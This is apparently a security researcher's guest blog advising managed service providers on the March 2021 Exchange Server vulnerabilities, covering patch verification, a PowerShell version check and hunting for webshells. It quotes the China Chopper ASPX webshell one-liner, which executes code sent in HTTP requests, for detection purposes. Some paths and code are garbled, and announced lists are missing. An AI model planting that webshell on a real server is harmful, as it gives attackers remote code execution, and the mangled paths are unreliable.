Microsoft Exchange Server Vulnerabilities: Mitigation Guidance for MSPs

If you use on-premise Microsoft Exchange Servers, you likely know about Microsoft’s March 2021 vulnerability disclosures. The gravity of these vulnerabilities lies in the fact that they can be leveraged to gain remote code execution and fully compromise a target. From there, attackers have a foothold in the network and can expand their access to do much more damage.

And now that the vulnerabilities are well known, multiple actors continue to exploit them to compromise unpatched servers. So how can MSPs mitigate these security risks for customers?

We recommend that you assume your clients have been hit and proceed as if attackers are dwelling in their environment.

According to our latest findings:

Not only should you patch immediately, you should also externally validate the patch and hunt for the presence of webshells and other indicators of compromise (see the technical details below). Trusting the dashboard is simply not enough.

Thus far, it looks like all preventive products allowed the webshell to get dropped. Here's a small sampling of the files found and which AV/EDR/SOCaaS solutions were installed.

An official Nmap NSE has since been provided by Microsoft that can identify if your systems are still vulnerable and validate patching. From our tests, this has provided reliable results.

To check your own patch status, we recommend you view the version number of the Microsoft.Exchange.RpcClientAccess.Service.exe binary present in the installation path of your Exchange server. You can view this by right-clicking the file in Explorer, selecting Properties, and switching to the Details tab.

While the default installation path for Exchange is C:Program FilesMicrosoftExchange ServerV15bin, if you have a custom installation path that you are unaware of, you can examine this registry key to find the current path for versions of Exchange 2013 or greater: HKEY_LOCAL_MACHINESOFTWAREMicrosoftExchangeServerv15SetupMsiInstallPath

Exchange versions 2010 and below are end-of-life and should not be used in production.

Verify that the full version of this Microsoft.Exchange.RpcClientAccess.Service.exe file and its SHA256 hash is present in this chart below. This information comes from the official Microsoft Knowledge Base documentation per each version of Exchange and respective CU.

The full value of the version number must match.

Note: This approach is only checking the version of one file, the RPC Client Access Service, that our analysis has indicated does in fact update on fully patched hosts. This does not truly say the patch was 100% applied correctly, but does indicate at a minimum partial installation. It is likely if this version is correct and the server is functional, the patch was applied properly.

We strongly encourage you to perform this check personally, and continue to monitor the health of your Exchange servers by utilities published by Microsoft or vetted scripts contributed by the threat intelligence community.

If you consider yourself a command-line cowboy and would prefer to check the status of the patch via PowerShell, you can use this one-liner syntax. Simply copy-and-paste and slap it into your shell (credit to Cyberdrain.com / Kelvin Tegelaar for the base syntax).

$SafeVersions = "15.2.792.10","15.2.721.13","15.1.2176.9","15.1.2106.13","15.0.1497.12","14.3.513.0"|Foreach-Object {$_}; $Version = ::GetVersionInfo("$($ENV:ExchangeInstallPath)binExsetup.exe").FileVersion; if ($SafeVersions -notcontains $Version){ Write-Host -ForegroundColor Red " Patch not installed successfully, this server must be patched." } else { Write-Host -ForegroundColor Green " Exchange FileVersion is updated, the patch is in place." }

Huntress Is Here to Help

Not only are we committed to educating the security community on how these vulnerabilities are being exploited, we’re also using our own platform to help us identify as many infected hosts as we can. 

We have had to get creative to help join the fight here. This is not something that Huntress would “normally find,” because these indicators of compromise are not persistence mechanisms. At the very start of this incident, practically all preventative security measures let this slip by—however now that the news broke, many are adding this capability into their detections.

We have visibility on thousands of servers and have uncovered multiple new indicators of compromise, and we understand the magnitude of this incident. Despite this initially being blanketed with the description of “limited and targeted” in scope, we cannot shrug this off—and we cannot allow our partners to do so either.

If you want to dive into more post-exploitation analysis, you can read Huntress’ original blog here. Or, check out huntress.com/exchange for our latest research and findings.

Technical Details

The vulnerabilities affect on-prem Microsoft Exchange Server. Exchange Online is not affected.  

The versions affected are: 

CVEs affiliated with this incident:

We are finding a significant number of webshells within the "C:inetpubwwwrootaspnet_clientsystem_web" directory. Please keep in mind, this location can be redirected via the "PathWWWRoot'' value in the "HKLMSOFTWAREMicrosoftInetStp" registry key. Some webshell filenames seem to be randomly generated, while some seem to be a static string. This list includes new webshell names that we have not yet seen included in Microsoft’s reporting.

The webshell that these threat actors are using is known as the "China Chopper" one-liner. These are often in either the ASPX or PHP web language, and will execute code passed in as an HTTP argument included in the request. The one-liner is slipped into a file and has a syntax like so:

http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request,"unsafe");}</script>

Note that the different naming conventions of these ASPX webshells indicates the use of a different request variable. From the files we have seen thus far, we offer this breakdown also available online.

Author John Hammond is senior cybersecurity researcher at Huntress. Read more Huntress guest blogs here.